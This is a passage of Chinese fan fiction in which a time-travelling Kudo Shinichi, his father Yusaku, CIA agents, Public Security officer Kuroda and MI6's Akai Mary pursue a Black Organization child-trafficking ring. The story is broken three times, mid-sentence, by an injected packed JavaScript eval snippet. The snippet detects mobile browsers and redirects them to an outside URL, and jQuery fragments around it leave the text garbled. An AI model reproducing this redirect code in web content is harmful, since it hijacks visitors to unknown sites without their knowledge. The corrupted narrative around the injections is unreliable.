工藤优作望着儿子绷紧的肩胛骨,那弧度像一把拉满的弓。他忽然就泄了气——沉默在父子之间膨胀,最终是他先败下阵来。他抬手按下开关,“啪”的一声,黑暗如潮水涌来,淹没了两人之间所有未竟的言语。 “别想了,新一。”黑暗里,他的声音低下去,像怕惊扰一个易碎的梦境,“睡吧。”走到门口时,他又停住,背对着床的方向补了一句,语气轻得像在哄一个不肯吃药的孩子,“哦对了,要是准备在大阪多待几天,记得给你现在的养父母编个像样的借口。” 门轴发出一声老旧的呻吟,走廊的灯光泄进来一瞬,又很快被关上的门切断。黑暗重新聚拢,只剩下床头电子钟的蓝光,静静映着少年人烧得通红的脸。 最终编出的借口是给大阪府警局录笔录。工藤新一用远山银司郎的声音给诸伏英拓打了电话,说是可能需要几天时间,大阪府警局会帮忙照顾。同时,工藤优作也跟大学请了假,会留在这边陪着新一。 几番周折之后,诸伏家同意了这个说法。 诸伏景光不高兴:“啊,新一还要在这里留好多天啊。昨天zero还打电话来,说我们两个抛下他自己去玩……” “这两个案件如此费神吗?还有,新一是不是感冒了?”诸伏高明也不放心新一一个小孩独自留在大阪,“你要小心啊。” 总觉得新一和优作先生留在大阪另有其事……希望是我多想了吧。诸伏高明看着男孩与青年相似的侧脸,脑海中再度想起了当年对工藤新一身世的猜测。 孤儿这点还不好说真假,但失忆显然已经是个只差捅破窗户纸就能戳破的谎言了。结合他身上的枪伤、刀伤等,再想到他绝无仅有的推理天赋与这些天来越发神秘的举措,总觉得是他那神秘的身世有关的事……但是什么样的身世会让一个九岁的孩子如此聪颖又如此强大,什么样的过去会让他受那么多伤呢? 诸伏高明的隐忧暂且不提。翌日,工藤新一给工藤优作贴好发信器,提前一小时到达了目标咖啡店。他们先到附近容易埋伏的地方一一确认,绕了一圈后,才在约定时间的十分钟前回到座位上。 伊森本堂、诺拉·加西娅和怀亚特·鲁索一同前来,怀亚特坐在了他们旁边隔了一个桌子的窗边位置,剩下两人则坐在了工藤二人对面。 “要点些什么吗?这里的果汁都非常好喝哦小朋友。”诺拉·加西娅翻着菜单,把火红的长发捋到耳后,“优作先生呢?” “两杯冰咖啡就好。”工藤优作说。 “这个还给你们。”工藤新一把CIA安在他身上的窃听器放在桌面上推过去。 伊森本堂似乎有些不好意思:“情况特殊,还请见谅。” “没关系,”工藤新一笑眯眯的,“它作用还挺大的。” 工藤优作无奈地看他一眼。 几人闲聊了几句,等饮品上全,工藤优作才开启本次谈话的重点——来之前他与新一仔细商量过了,为了尽量减弱工藤新一的存在感,也是为了让交谈显得更“成熟”,一切重要话题都由工藤优作主导,新一只负责从旁协助就好了。 “昨天这孩子和江户川君已经跟我详细聊了那天晚上的景象。看来你们是要以这个仓库为基础,达成什么目的……看上去不是想救人呢。” 诺拉面不改色:“救什么人?优作先生这话我好像听不懂啊。” “购物小票有18份便当对吧。”工藤优作说,“那种不过100平方米左右的单层仓库,只有一个进出口,应该用不上9个人一起看守——那附近也没有硝烟的气味,更关键的,还是皮斯可说的那句话。” 诺拉抬眸看他。 “‘你知道,朗姆那边,最近‘发现’了一个天赋异禀的情报苗子吗?’”工藤新一说,“是江户川哥哥看到的哦。” “皮斯可在回答贝尔摩德的问题。虽然那个女人把全身都包起来根本看不清面容和口语,但你们离得近,应该也能听见些。”工藤优作说,“皮斯可在回答她,这个仓库是干什么用的。那么答案就很明显了。” 人口贩卖。 “那个仓库是用来做人口贩卖的中转站的吧。”工藤优作慢条斯理的喝了一口咖啡,推了推眼镜。 伊森本堂垂眸:“不愧是推理小说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137913|180325||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家,那位江户川先生也实在厉害。的确,根据我们这些天的盯梢,那间仓库里有5名组织底层成员,负责看守6个被拐来的孩子。” “但我们也不是不想救人。”诺拉撇撇嘴,似乎也很不爽,“只是投鼠忌器——是这样说吧——而且我们的人也不能这样暴露。” “我们是打算在他们转移人质的时候动手。”伊森本堂说,“一方面能探听到另一处组织的基地,一方面,这时行动也更有机会——无论是伪造车祸、交通管制还是我们直接暗访,可操作性会更高。” “暗访的事可以交给我哦。”工藤新一说,“就算是黑衣组织,也不会对随便一个小孩下黑手、起戒心的吧。” “这么厉害呀,小弟弟,”诺拉捧场,“但既然有我们这些大人在,不用麻烦你哦,相信我们的能力。” 显然气氛已经足够融洽,工藤优作举杯:“既然如此,我们可以算得上是暂时合作了吧。我想昨晚窃听器里的情报作为见面礼已经很丰厚了。” “当然。”诺拉也举起自己的果汁,伊森本堂随后,“希望我们合作愉快。” 就在这时,邻桌的怀亚特忽然叫了服务生。 工藤新一知道这人今天就是来放哨的,此时举动异常,必然是发现了什么。他就座椅后倾向窗外看,只见一个寸头、皮肤黝黑的男人的背影,他和旁边几个同样健硕的男子似乎在四处搜寻什么,看起来不似普通人。 “其他情报我想,可以另约时间。”伊森本堂见状,安全起见,还是中止了谈话,“两位工藤先生今天也要去大阪府警局录笔录的吧,正好怀亚特也去,我们送你们?” 工藤优作瞥了一眼正低头沉思的工藤新一,见他没有反对的意思,于是点头:“那就辛苦了。” 车辆飞驰而过,而红日西沉。 一对显然是外国旅客的母子拖着行李箱从航站楼走出来,母亲戴着遮阳帽和一副遮了半张脸的墨镜,儿子则戴着口罩和鸭舌帽,露出一双碧绿色的眼睛。 机场服务人员见他们停在门口,热心地用英文询问他们是否需要帮助。 “不用,我们在等人。”那女人说出口的却是一口流利的日语,语气生疏,“谢谢。” 男孩则双手插兜,仰头看向母亲:“妈,秀吉在家会不会哭啊。” 听见自己二儿子的名字,赤井玛丽的面容就柔和起来,还带着点不明显的促狭:“那就是你父亲该头疼的事了。” 千里之外正焦头烂额哄儿子的赤井务武:“……” 一觉醒来妈妈和哥哥就都不见了的秀吉:“呜哇哇哇!” 温情却没有持续太久,赤井玛丽掏出手机:“Hello.” “玛丽组长,我们已经在东京落脚,根据您的情报,已经先派人暗中排查各个酒吧。目前还没有消息。” “嗯,不要心急,但要敏锐。”赤井玛丽说,“在伦敦——我们眼皮底下拐走两个孩子,这是对我们的挑衅,一定要找到线索。” 那是一对双胞胎的女孩,从小住在市立福利院,今年才10岁。 “报告,有发现了。” 三天——七十二小时,足够让高烧退去,也足够让线索在暗网深处慢慢浮出霉斑。三天后的夜里,工藤新一和工藤优作一起坐在CIA的车子后座,远程与在前方的怀亚特联络。少年把棒球帽压得很低,只露出一截苍白的下颌。 “我们的情报网先前被人为阻挠过,”怀亚特还是用那一口浓重口音的日语说,“由于担心是组织所为所以放缓了脚步,没有了解到切实的转移信息。今天他们突然转移人质,猝不及防,只好赶鸭子上架地用我们制定好的计划了,实在惭愧。” “现在的情况如何?” CIA的人手不多,伊森本堂又由于某些原因不能露面,所以他们的人力相当匮乏。诺拉作为总指挥身先士卒,因为过于显眼的长相,就乔装成了深夜归家的cosplay爱好者,此时正和另一位CIA成员扮成在海边拍照片的摄影组合,最大限度地观察情况。 夜色中,两辆箱型轿车从仓库门口开走,开向了东京方向。 早就在周围待命的驾车人员跟上去,预备在必能堵住他们的路段上人为制造车祸,拖延时间。 而诺拉则趁两辆车都走后,继续佯装拍照,走近了那间仓库。 “看起来他们没有留人留守。这个江户川先生,预判这群人的行动还是欠缺了些嘛。”“摄影师”看了看空荡荡的仓库,不禁出声嘀咕了一句。 “哦?那是谁啊?” 黑暗中,一个人影出现。诺拉反应迅速,把同事拉到身后,立刻从COS服的短裙下抽出了藏在那里的枪对准来人。 那个寸头的男人也举枪相对:“阁下入境本国,还带着这种违禁品,是否有些过了?” “日本人?”诺拉看着对方。 远处的工藤新一见状,连忙提醒:“保持警惕,有可能是组织的人!” 那日本男人随后说:“这位CIA的小姐。认识一下吧——” 那人掏出了一本证件,上面印着樱花的标志,赫然是日本警察厅的警官证,姓名为黑田兵卫。 诺拉立刻对着他开了枪。 黑田兵卫一惊,却听自己后方传来一声大叫。一个一身黑衣的男人捂着肩膀倒在地上,手里的刀被甩到一边。 此时已经顾不得其他,诺拉和黑田兵卫马上压制住他,黑田从他口袋里翻出一部手机,页面停留在短信界面——这里的骚动已经被他传给了同伙,也就是说,组织知道有人试图阻挠这次转移行动了。 糟了。 37. 亡羊 “一组、二组,行动取消!三组隐蔽,有异常立刻撤离!” “Sir,我们打草惊蛇了。伊恩、吉姆,做好撤离准备,安全至上!” 压制住这名黑衣组织留下来盯梢的成员,黑田兵卫和诺拉·加西娅立刻向自己人回报。工藤新一听见枪声和回话,问:“有盯梢的,是不是?” “的确,你哥哥猜中了。”诺拉抿嘴苦笑,“我和这位公安的先生互掐,倒是让他渔翁得利。” 公安的先生?莫非是那天在咖啡店外面看到的…… “事情还有转机。”黑田的声音同工藤优作一道响起。 黑田兵卫:“其他人应该不知道这个人被我们控制了,可以将计就计。” “亡羊补牢。”工藤优作补充。 说罢,黑田拿起那部手机,往前翻了翻,确认了这个人的语言风格,继续在里面输入短讯。 “你……”诺拉慢他一步,只好在他旁边看,顺便打开手机拍了些照片以彩信传给工藤优作。 只见那短信里写着:“有条子跟踪到仓库了!小心!” 而黑田兵卫此时编辑的则是:“他们人多我不敢过去,你们现在怎么办?我听见他们说有至少两辆车在追你们。” 工藤新一伸直脖子凑近工藤优作的手机,青年见状,弯下腰,把手机举在二人中间。诺拉的本意大概是让他们看清短信的内容,镜头调的很近。然而工藤新一却眼尖地透过手机的反光区域看见了正操作手机的、黑田兵卫的脸。 他没见过年轻的黑田管理官,一时无法确认。正低头沉思,下一刻,工藤优作的手机又传来一张拍得模糊的警官证。 ……警备企划科,黑田兵卫。 工藤新一长舒一口气。 工藤优作看他反应,就知道这位年轻的公安先生一定也是可以信任之人,安抚诺拉:“毕竟这里是日本,公安警察的人手充足、也更有主场优势,尽量以交好为主。把这次事件安稳过去。” 诺拉也明白这个道理,所以除了最开始,一直没有与他起冲突:“我知道——对方回复了。” “是什么?” 黑田兵卫念道:“‘已经甩掉了。那位大人没说什么,我们会去原定的东京驻地继续看着这群小孩,你在浪速那里等着不要动,甩不掉就别跟来’。” 工藤优作沉吟:“如果对方没有发现,那么就还有机会。” 黑田当机立断:“四组分散换车追踪,目的地东京。只跟踪,不劫人。” CIA人手不够,诺拉没办法让自己人也换车追车,何况跟踪的人太多也容易被发现。无法,她只好提出合作:“黑田先生,情报换合作,同意吗?” 黑田兵卫当然不会马上点头:“小姐,如果你们今晚不出现,或许我已经把人救出来了。” “如果不是你们的人阻碍我们的情报收集,我们应该也不会在这里见面。”诺拉言外之意,就是如果你们不干涉我们,我们能查到的比你多得多。“更何况,公安先生,比起救人,我看你们也是更想顺着这条线去深入吧?就算我们不出现,你也救不到人——何况如果刚刚没有我,你可就要被他那把刀刺个正着了。” 黑田兵卫迟疑。 诺拉继续加重筹码:“合作,我们的情报就可以共享,这方面我们还是很有自信的;不合作,那我们可就要给你添些麻烦了,公安先生。CIA在日本放不开手脚是真,但我们也并非百无一用。” “……我同样有条件。”黑田兵卫终于松口,“不要擅自行动,我们的人手可比你们多得多。” 他们互相有制衡——日本公安有主场优势,人手充足、又能在明面上协调,可以轻松占据行动中的主导地位;CIA有情报优势,关于那个仓库他们比日本公安盯得紧,何况还有“江户川先生”这个强大的外援。 有制衡,才有合作的基础。 “Okay.”诺拉把头上繁琐的编发拆开,扎了个高马尾,“那么,第一场合作……” 黑田兵卫伸出手:“我会把他们转移到的窝点位置告诉你们。算是我的诚意。” 诺拉轻轻握了一下他的手。两人相视一笑,笑得一点都不真诚——他们都知道,这场合作能不能继续下去,还要看后话。三言两语的许诺和威胁是没用的。 几经周折,工藤新一终于踏上了回东京的旅程。 CIA目前最主要的工作就是跟进皮斯可这条暗地的交易线,于是大多数人也跟着回了东京,包括诺拉和怀亚特——伊森本堂却不行。他已经确认是卧底的人选之一,非必要不参与明面工作,更何况,他已经在日本有了家庭,有妻有女,不方便离开。 临别时,工藤新一远远看见了牵着女儿的手、在很远的地方挥手送别的伊森本堂。男人依然不苟言笑,目送他们点了点头。他的女儿瑛海如今才七、八岁,懵懂地看着父亲,只以为是在送他的“同事”出差。 倒也没差。 “新一,你要回一趟家吗?”下了新干线,工藤优作问道。 日本公安的跟踪结果已经得出,是在板桥区外围的一处人迹罕至的工业区内。CIA派人检查过,情报确认无误,但却再次被公安拦截了进一步的探查。 据说诺拉女士非常不爽,那头红发看着都像是熊熊燃烧的烈火。她在酒店房间里跟怀亚特拿至少四种语言骂了将近二十分钟,中心思想是痛斥日本公安拉拉扯扯扭扭捏捏——骂完就平复了,毕竟换位思考,他们易地而处,CIA大概也不会就这么爽快地跟个外国情报机构合作。 “不了,我们住在杯户町,离板桥太远了,迟则生变。去那附近三公里外的地方找一间酒店住好了——哦对了,还得再想个借口跟叔叔阿姨说……”男孩前一句还镇定自若、条理清晰,说到要找借口却犯了难,整个人多了些符合年纪的鲜活。 工藤优作失笑:“那你先想着,我去租辆车。我们现在就往那边去吧。” 幸好正值暑假,省去了向学校请假的麻烦和顾虑。工藤新一眼神一转,编瞎话不打草稿地给自己薛定谔了一次课外实践——还是在大阪,实践的主题延续了前一个借口:“大阪警察生活体验”。恰好改方高中真的有这么一项与大阪府警长期合作的研学项目,工藤新一再度伪造声音,算是又给自己争取了半个月的“空闲”。 一个谎言要用一千个谎言去圆,这比当年他找借口向帝丹高中申请休学刺激多了。 工藤优作就用余光看着男孩半月眼擦汗。笑着问他:“这几天过的太跌宕起伏,我都要忘了新一现在还是个‘小学生’。话说,你现在到底是多大了?” 工藤新一随口答道:“应该二十了吧。” “这怎么还能有‘应该’的?” “反正我现在任谁来看都是个小学五年级的十岁小孩,真实年龄无关紧要啊。”工藤新一无所谓地说。 “可是很奇妙啊。我才二十二,有希子才十八,我们居然就已经有这么大一个儿子了。你什么时候出生的?”优作又问。 工藤新一觉得有些奇怪,但还是回答道:“两年后。” 工藤优作点点头。 也就是说,新一十九岁时不知怎么穿越到了过去,那么他和组织的纠葛也就发生在十九岁之前。冰冻三尺非一日之寒,也许十六七时,他就已经跟那些人扯上关系了。 甚至还没有成年。工藤优作的心蓦地一窒。 “铃铃铃铃铃铃……” 工藤新一现在的那部手机响了起来。他从口袋里拿出手机,翻开盖子,看到了一个意想不到的人名。 男孩一手拉着工藤优作,被青年带着走进了合适的酒店。他轻轻皱了皱眉,低头思考了一会儿才接起来:“喂?秀哥?” “好久不见,新一君。”赤井秀一说道,“你现在在东京吗?” 这是在干什么?工藤新一斟酌着回答:“不在哦,我现在在研学。秀哥是来日本了吗?” “嗯。”赤井秀一同样鬼话连篇,“初中组织假期修学旅行,前天才到,想着能带你们几个一起去玩呢。” “景光和零都在东京,倒是可以去找他们。” 赤井秀一笑:“那还是算了,那个黑皮肤的小鬼怕是看见我就要找我打架,好不容易放假,还是不给自己加训了吧。” “是吗……”工藤新一决定从小培养这两人的感情,以心理暗示的方法就行,防止内讧要从娃娃抓起:“零和景光对你还蛮崇拜的来着——你们上次一起打群架不是还挺默契的?” “哦?那倒是没看出来。”赤井秀一眯起眼睛,“对了,你那部电影我看了,演得很不错,剧本写得也是翻转不断。我妈妈说你疼痛的反应和哭戏演得很真实,很有演戏的天分。” 工藤新一半信半疑,但听到这句话还是忍不住脸色通红:“啊,你们……” ——等等,“我妈妈说”? 玛丽女士也来日本了? 还没等他问出来,赤井秀一大声喊了一声:“Sorry!I’ing!”随后抱歉地说:“带队老师让我们集合了,我先挂了,拜拜!” 做戏做的还挺全。工藤新一听着电话挂断后的“嘟嘟”声,心想。 不过不论如何,赤井玛丽和秀一已经入境日本肯定是没错了。《莫比乌斯》在日本上映至今不过五天,英国不可能看得到,这是其一;其二,如果真的是“修学旅行”,玛丽女士跟着过来算怎么回事?秀哥这话不可能是编的,大概别有深意;第三,前几天他们莫名其妙给“工藤新一”和“江户川先生”发了消息,玛丽女士还提到了组织有人进入日本的动向,约莫这次就是秘密潜入调查的。 不过他们也是够厚道了。秘密潜入的话,假如他们不说,以现在的工藤新一的情报网,是很难查出他们的行踪的。赤井玛丽借赤井秀一之口把这信息告诉他,实在是盟友的典范——比二十年后对任何人都疑神疑鬼、还总想从自己外甥女那里抢解药的“领域外的妹妹”好相处太多了。 造化弄人啊。不过……工藤新一无语—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137914|180325||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们真的很闲啊,潜入任务之余居然还真的去看了电影! 另一边,赤井玛丽对着赤井秀一点点头:“做得很好,秀一。” “定位到了吗?”少年喝了口水,问道。 “果然不错,工藤君的电话可以被追踪。”赤井玛丽满意地看着下属传回的地址,“虽然还不够准确,但也够用了。收拾东西吧,秀一,我们今晚转移去板桥——这附近有个东横酒店,刚刚好。” 板桥区是个工业见长的区域,大大小小的工厂在周边林立,形成了别具一格的城市风格。工藤新一二人住在离工厂区有些距离的一家东横酒店,装修朴素,倒是隐蔽的好地方。 为了防止被一窝端,诺拉他们则是在工厂区的不远处找了地方待命。刚安顿好,她就又和黑田兵卫起了争执。 “是我的错,当时让黑田兵卫听到了‘江户川’的名字。现在公安坚持要见江户川先生。”第二天一早,诺拉亲自来到东横酒店,头疼地跟工藤优作说,“否则就中止合作。要不,优作先生再冒充一次?” “绝对——不行。”工藤新一从两个人中间冒出来。 工藤优作好笑地看着努力踮起脚尖的工藤新一:“那你去把你‘江户川哥哥’找出来?” 他隐约有预感,这个“江户川”完全就是工藤新一为了方便行事造出来的假身份而已。但一个小孩去绝对是不可以的。 工藤新一沉默了很久。 “没关系。”他轻轻地说,似乎又卸下了某种负担,又像是在说服自己,“没关系的。诺拉姐姐——” “诶?”诺拉蹲下来看他。 工藤新一笑着说:“你答应黑田警官就是了,尽快安排会面,我们时间很紧。江户川哥哥会准时出席。” “新一……”工藤优作担心地看他。 诺拉仰头、低头,看了看这一大一小,迟疑:“你们……确定?” “嗯!”工藤新一说,“一切为了最终的胜利。” 送走诺拉,工藤优作再次一副要和工藤新一好好谈谈的模样。工藤新一却先伸出小手堵住了他未出口的疑问。 “你的猜测没有错。”工藤新一说,“我就是‘江户川先生’,准确来说,全名是‘江户川柯南’。” “一听就是假名啊。”工藤优作一笑,“江户川乱步和柯南·道尔。” “情急之下乱取的嘛,你别笑!” “好好好。” “总之,我会自己过去,你不许冒充我。”工藤新一深吸了一口气,然后掏出了挂在胸前、自从和景光一起被绑架后从不离身的药盒。 “这个,是组织——至少是我那时的那个组织——最重要的机密之一。也是我如今停留在七岁孩童身材的元凶。这是组织开发的药品,名为APTX-4869,是杀人于无形的毒药,但又有一定几率让人体除了神经系统之外的组织退化到幼年时期。至于这一颗——”工藤新一从里面拿出了那颗红白色的药丸,“也许是穿越的缘故,这枚毒药吃下后不会死亡,而是百分百变小,另一枚则是永久性的解药。这两颗都是可以重新刷新出来的,所以也不担心没有库存,但还是能少用就尽量少用。也就是说……”我可以无数次变成原本的身躯,也可以无限次地变小。 “也就是说你被他们灌下了这种毒药,差点就死了,是不是?” 工藤新一没想到工藤优作会这么说:“诶?” “很疼吧。”工藤优作又说,“就算你不提,我也可以想见。短时间内变化身躯,那就是把几年甚至十几年的生长痛压缩到了极致。但我还是想听你说:疼吗,新一?” 工藤新一低下头,半晌,还是摇摇头:“还好啦。” 工藤优作追问:“上次在设乐家的老宅,你是不是就是吃了这种药。我想了一下,那天你好像没有挂这个盒子,倒是感冒药的样子和你这枚解药几乎一模一样。所以,你那天是误食了解药,又怕我发现,硬生生吃了颗毒药吗?” 全是事实啊,老爸还是厉害的。工藤新一点点头,算是承认了。 “那你还说不疼。”工藤优作转回了话题。 “我……”工藤新一说不出口那个“疼”字,似乎从变小之后开始,他就把自己框进了一个不能疼不能哭不能软弱的自我规训里,实在是破不开这个囚笼。 “有什么办法缓解吗?”工藤优作又问。工藤新一变回原本身躯亲自去赴约已经是定局,那就只有减弱他的痛苦这一环了。 “呃……”工藤新一倒是真没总结出相关规律,“喝热水吧?止痛片可能也有点用?” 工藤优作默不作声地离开了,趁早去附近的药店买了许多止痛产品,有备无患。 诺拉的下一次消息也来得很快——明天晚上在丰岛区见面。地点暂时没有具体约定,这是诺拉要求的——他们打算在约定时间前半个小时再决定地点、通知日本公安,最大限度地降低公安提前包围监视的可能。 所以工藤新一在第二天的下午,再度吞下了解药。 38. 歧路 灼烧的感觉从肺腑蔓延到了四肢。 这个世界上其实是没有什么“习惯痛苦”的人的,只是疼的多了就麻木了、以为自己适应了而已。可APTX-4869不属于此列。饶是已经服用过解药多次,那种仿佛要把人拉扯分尸一般、从骨子里透出的痛楚依然无法让人“习惯”。 工藤新一仿佛为了安工藤优作的心一样吞了些止疼药,待药效起作用,就吞下解药,把自己关在房间里。 工藤优作只听见一声极痛苦的哀嚎。片刻后,变回十七岁身形的工藤新一披着件浴袍,不好意思地从门缝处探出头。 “不好意思啊,优作哥,”他轻轻喘着粗气,苍白的脸上满是冷汗,声音还带着显而易见的颤抖,“能把你的衣服借我穿吗?” 房间的门再次打开时,工藤新一换上了工藤优作行李箱里的衣服。他穿得简单,里面穿了一件黑衬衫,没打领带也没有系上最顶端的两颗扣子,外面穿了一套雾蓝色的西装。他比工藤优作矮一点、也纤细一点,因此穿着更显出一种时尚和少年感。 然而少年——工藤优作只能用这个词来形容他——少年的脸色异常苍白,眉头微蹙,唇色浅淡得像是早春的梨花。他却还在笑:“怎么样优作哥,我变大之后是不是更像个侦探了?” “更像个服装模特。”工藤优作说,“你本来就是侦探啊。” “什么啊。”工藤新一走出来,坐在小沙发上给自己倒了杯水一饮而尽。这一次的药效着实磨人,不仅疼痛感更加剧烈,甚至余韵悠长——直到现在,他还是浑身无力,头疼得快要炸开了。 “总之,我这就出发了。” 工藤优作皱眉问:“现在才两点钟,总得吃些东西。” “路上吃。”工藤新一戴上口罩、眼镜和帽子,“虽说约定的时间是晚上八点,但我还有些事情要办。你不要跟来哦,被他们发现了可是很麻烦的。晚上我会叫计程车到丰岛区外围附近,到时候你再来接我吧。” 工藤优作只好点点头。 同一时间,赤井秀一在走廊尽头的阳台上和弟弟讲电话。他单手倚在栏杆上,左脚不自觉地在地上画圈圈,听见脚步声回头看了一眼,正巧看见了一个身形熟悉的年轻人背着包从工藤优作、工藤新一的房间里走出来,朝着与他相背的方向走向电梯。 是……那天在浅草寺擦肩而过看见的男人? 他什么时候进了那间房间? 电话对面的赤井秀吉发现哥哥好久没回应,不满地喊:“哥哥!哥哥!” “嗯?”赤井秀一回过神,“我在。你刚刚说昨天和爸爸去游乐园了?真是太酷了。” “已经说到今天早上爸爸用热水把玻璃碗炸碎了的事了!简直大失误!哥哥就是没在听。”秀吉噘着嘴。 “抱歉抱歉。”赤井秀一眼见着那人的电梯门关上,连忙走楼梯下楼,“我这边信号不好,先不说了!” 他一手扶着扶手,飞快地下楼,另一只手则操作手机给赤井玛丽打电话。 “Sorry,your……” 怎么这时候占线?赤井秀一没等提示语结束就挂断了电话。他站在一楼的楼梯口,眼看着那个可疑的男人就要走出酒店,再度拨通电话,却一不小心点到了先前的另一个号码上——工藤新一的号码。 那个年轻人本讲着电话,此时却停下来又掏出一部手机,仿佛注意到了什么似的四处张望。 赤井秀一连忙躲到门后,等男人走了,才又探出头,宝石般的绿眼睛紧紧盯着他的背影,嘴抿起来,百思不得其解。 赤井玛丽的电话回过来:“秀一?怎么了?” 赤井秀一把刚刚所见和玛丽一一说明。赤井玛丽正坐在计程车里,秀一说完话,她也刚好抵达了目的地。 “嗯,我知道了,秀一。一个人在酒店要小心。拜拜。”赤井玛丽付完钱,抬脚下车,站在此时尚且僻静的歌舞伎街上。她摘下墨镜,抬眼辨认了一下店名,随后脚步生风地往约定地点走去——她与江户川先生约定在此处会面。 一个女人在下午三点的时候来到歌舞伎茶屋,这绝对是不多见的,更何况是一个气质与这等娱乐场所格格不入的冷淡女人。她对老板娘的疑惑视若无睹,淡淡开口要了包厢,指明没有说明就不需要人服务之后给了老板娘一大笔钱。 “就当我把那间房间租下了。一会儿会有个年轻人来,直接让他上楼找我就好。”赤井玛丽重新带上墨镜,转身上了二楼的房间。 十五分钟后,又一辆计程车在街口停下。一个年轻人、甚至可说是少年人的挺拔男性也走进茶屋,径直去了刚刚那个奇怪的女人的房间。年轻人身材纤细,穿着简单的黑衬衫和西装,还单肩背着个双肩包,看着像是某户大户人家的公子。 “哦,对了,”公子哥回头朝老板娘一笑,“请给我们拿些点心和饮水,如果有冰咖啡就更好了。” 老板娘又是一脸的疑惑:来茶屋喝冰咖啡?今天的客人都太奇怪了。 “不好意思,我来晚了。”工藤新一摘下口罩和帽子,把背包放在门边,“玛丽女士怎么不点些东西吃?我们的见面一定要这么严肃吗?” “我就知道,给新一君打电话,‘他’一定会告诉‘你’。”赤井玛丽的墨镜也已经摘掉了,她微微一笑,“我对食物没有偏好,你随意就是。” “之前您不是说近期不会入境?这是怎么了?”工藤新一实在四肢乏力,坐得并不很端正,“失礼,最近身体不大好。” “你看起来年纪不大,”赤井玛丽说,“还是要注意身体。年轻的时候太拼命,以后就难过了。” 工藤新一笑:“这忠告谁不懂呢,可我们这些人,怎么可能闲的下来?你不是也追到了日本吗?” 正说着,老板娘把点心和冰咖啡放到了门口,敲敲门:“客人们,你们要的饮食放在门外了。” “多谢。”工藤新一起身,身体一晃,踉跄两步才走到门口,把食盘端进来,“玛丽女士也一起吃些吧。” 冰咖啡里放了吸管,工藤新一努力喝了两口、再噎进去两块果子,看见赤井玛丽一点没动,才抱歉地看向她:“实在失礼,玛丽女士。” “没关系。”赤井玛丽摇摇头。 这么看,江户川君的确很年轻。她抬手拿起了一颗果子,也吃了一口。 缓过那一阵低血糖的晕眩,工藤新一才进入正题:“那么,玛丽女士,这次来日本有何贵干呢?” 赤井玛丽擦了擦手,从随身的包包里拿出了一份卷宗递给他。 “这是……”工藤新一接过来,上面是英文的卷宗名:8月18日伦敦市立福利院绑架案。 “组织的人做的,这是案件经过。”赤井玛丽说,“现在这伙人已经逃到日本了,据说是在大阪。你前些日子也在大阪吧?” 工藤新一一边看着卷宗、一边回应着她的试探:“怎么说?” 卷宗显示,当地时间8月18日凌晨,有一伙黑衣人劫走了市立福利院的一对双胞胎女孩,十岁,名为派恩·菲尔德(Pine·Field)和克里克·菲尔德(Creek·Field)。这对女孩是被父母遗弃的,从小在福利院长大,十分早熟。被劫时大声呼救引来了福利院的保安,与黑衣人发生冲突,也因此得到了MI6的关注。一查之下,才发现这是组织的人所为,于是一路追到日本。 莫非就是浪速区那间仓库?工藤新一沉思。 “你和新一君的联系我不必多说,”赤井玛丽说,“你行踪成谜,他的却不难查。你们两个应该一直在一处、或者保持联系吧?” 赤井玛丽能猜到这样并不稀奇。工藤新一一笑,把卷宗递回给她:“的确。关于这件事,MI6也要再插一脚吗?” “哦?”赤井玛丽对那个“也”字很感兴趣。 “不瞒你说,玛丽女士,关于你的这件案子我的确有线索。但我的合作伙伴未必想要你的加入。”工藤新一推了推眼镜,“毕竟这里是日本,和一个外国组织合作已经很挑战当地的底线了,想必他们不想再多一个。” 也就是说,是日本警视厅或者公安,再加上一个其他国家的、追查组织的机构?FBI吗? “好,我退出。”赤井玛丽干脆利落地说,“不过我想我们的合作比你现在的那些伙伴要更牢固?” “玛丽女士一直是我的朋友。当然,秀一君也同样。”工藤新一再度喝了一大口冰咖啡,“无巧不成书啊。” “的确。”赤井玛丽知道他在说什么,无非是秀一的跟踪被他发现了。 “那么,我也奉上我的诚意:我知道,您的丈夫务武先生与羽田家家主羽田康晴有交情,相对于日本警方,他甚至更信任身为MI6的赤井务武。”工藤新一说,“他也许与组织打过交道哦。哦,还有,关于——朗姆。” 赤井玛丽抬眸。 “我有探听到皮斯可的谈话,你也知道吧,朗姆去年十二月的时候身在日本。皮斯可说他发现了一个适合做情报工作的小孩子。我想,这个孩子应该也不是正规渠道发现的。”工藤新一想了想,继续说,“一定要小心朗姆,他的一只眼睛——是类似‘鹰眼’一样,有超强洞察与记忆能力的眼睛。” 房间里一时只剩下了冰块撞击玻璃的清脆响声。 “这些情报……你都是从哪里得来的?”赤井玛丽蹙眉看他,涂了浅淡口红的薄唇抿成一条线,“独行侠、谍报员、里世界的灰色生意人……你到底是什么人?” “我?”工藤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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背景音里传来降谷零惊慌失措的声音:“诶?我……我没……” 诸伏景光却把电话塞到了他手上。 